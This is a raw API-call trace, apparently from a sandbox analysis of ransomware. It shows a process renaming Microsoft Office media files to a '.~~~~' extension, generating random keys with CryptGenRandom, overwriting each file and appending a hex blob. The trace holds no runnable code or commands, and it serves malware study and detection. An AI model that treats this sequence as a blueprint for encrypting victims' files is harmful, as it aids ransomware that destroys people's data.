	[0126.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb228
	[0126.167] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf.~~~~")) returned 1
	[0126.273] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb228 | out: hHeap=0x300000) returned 1
	[0126.274] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0126.274] GetLastError () returned 0x0
	[0126.274] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0126.275] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.275] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.275] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0126.275] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0126.275] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24626536734) returned 1
	[0126.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb4bb3dd0, dwHighDateTime=0x1d60e1e)) 
	[0126.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0126.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0126.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0126.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b938
	[0126.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b938 | out: hHeap=0x300000) returned 1
	[0126.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3b0088
	[0126.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abb58
	[0126.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b0088 | out: hHeap=0x300000) returned 1
	[0126.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0126.315] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0126.315] GetLastError () returned 0x0
	[0126.315] GetLastError () returned 0x0
	[0126.315] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0126.315] GetLastError () returned 0x0
	[0126.315] GetLastError () returned 0x0
	[0126.320] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff214, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.320] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xdec, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xdec, lpOverlapped=0x0) returned 1
	[0126.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0126.354] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.354] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.534] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.534] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.534] CloseHandle (hObject=0x120) returned 1
	[0126.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abdf8
	[0126.534] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18227_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18227_.wmf.~~~~")) returned 1
	[0126.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0126.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0126.689] GetLastError () returned 0x0
	[0126.766] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0126.790] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.790] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.790] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24678048753) returned 1
	[0126.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb50769d0, dwHighDateTime=0x1d60e1e)) 
	[0126.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cc820
	[0126.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cc820 | out: hHeap=0x300000) returned 1
	[0126.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4460
	[0126.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4460 | out: hHeap=0x300000) returned 1
	[0126.791] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0126.791] GetLastError () returned 0x0
	[0126.792] GetLastError () returned 0x0
	[0126.792] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0126.792] GetLastError () returned 0x0
	[0126.792] GetLastError () returned 0x0
	[0126.794] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff86a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.794] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x796, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0x796, lpOverlapped=0x0) returned 1
	[0126.796] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.796] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.796] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.796] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.796] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.796] CloseHandle (hObject=0x138) returned 1
	[0126.796] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4460
	[0126.796] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf.~~~~")) returned 1
	[0126.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4460 | out: hHeap=0x300000) returned 1
	[0126.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.812] GetLastError () returned 0x0
	[0126.812] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0126.813] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.813] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0126.813] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0126.813] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24680352176) returned 1
	[0126.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb509cb30, dwHighDateTime=0x1d60e1e)) 
	[0126.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0126.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0126.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0126.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3cc7b0
	[0126.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cc7b0 | out: hHeap=0x300000) returned 1
	[0126.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x29e8bf0
	[0126.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4460
	[0126.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29e8bf0 | out: hHeap=0x300000) returned 1
	[0126.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4460 | out: hHeap=0x300000) returned 1
	[0126.814] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0126.814] GetLastError () returned 0x0
	[0126.815] GetLastError () returned 0x0
	[0126.815] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0126.815] GetLastError () returned 0x0
	[0126.815] GetLastError () returned 0x0
	[0126.817] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff4f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.817] WriteFile (in: hFile=0x138, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x25dfec0*=0xb1, lpOverlapped=0x0) returned 1
	[0126.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0126.844] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.844] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.846] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.846] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.846] CloseHandle (hObject=0x138) returned 1
	[0126.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f4460
	[0126.848] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif.~~~~")) returned 1
	[0126.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4460 | out: hHeap=0x300000) returned 1
	[0126.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0126.874] GetLastError () returned 0x0
	[0126.970] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0126.972] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.972] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.972] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24696249140) returned 1
	[0126.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb52198f0, dwHighDateTime=0x1d60e1e)) 
	[0126.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821d68
	[0126.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821d68 | out: hHeap=0x300000) returned 1
	[0126.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0126.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3bd8
	[0126.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0126.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3bd8 | out: hHeap=0x300000) returned 1
	[0126.973] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0126.973] GetLastError () returned 0x0
	[0126.974] GetLastError () returned 0x0
	[0126.974] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0126.974] GetLastError () returned 0x0
	[0126.974] GetLastError () returned 0x0
	[0126.985] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffffb95, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.985] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x46b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x46b, lpOverlapped=0x0) returned 1
	[0126.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0126.986] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.987] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0126.987] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0126.987] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0126.987] CloseHandle (hObject=0x144) returned 1
	[0126.987] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x27f3b30
	[0126.987] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif.~~~~")) returned 1
	[0126.988] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3b30 | out: hHeap=0x300000) returned 1
	[0126.989] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0126.989] GetLastError () returned 0x0
	[0126.989] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0126.990] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0126.990] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0126.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0126.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0126.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0126.991] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24698081010) returned 1
	[0126.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb523fa50, dwHighDateTime=0x1d60e1e)) 
	[0126.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0126.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0126.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0126.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821dd8
	[0126.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0126.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821dd8 | out: hHeap=0x300000) returned 1
	[0126.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x3ae0e8
	[0126.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0126.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f3e78
	[0126.991] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae0e8 | out: hHeap=0x300000) returned 1
	[0126.991] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0126.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f3e78 | out: hHeap=0x300000) returned 1
	[0126.992] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0126.992] GetLastError () returned 0x0
	[0126.992] GetLastError () returned 0x0
	[0126.992] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0126.992] GetLastError () returned 0x0
	[0126.992] GetLastError () returned 0x0
	[0126.994] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.994] WriteFile (in: hFile=0x144, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xcc, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0xcc, lpOverlapped=0x0) returned 1
	[0126.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0126.996] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.996] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
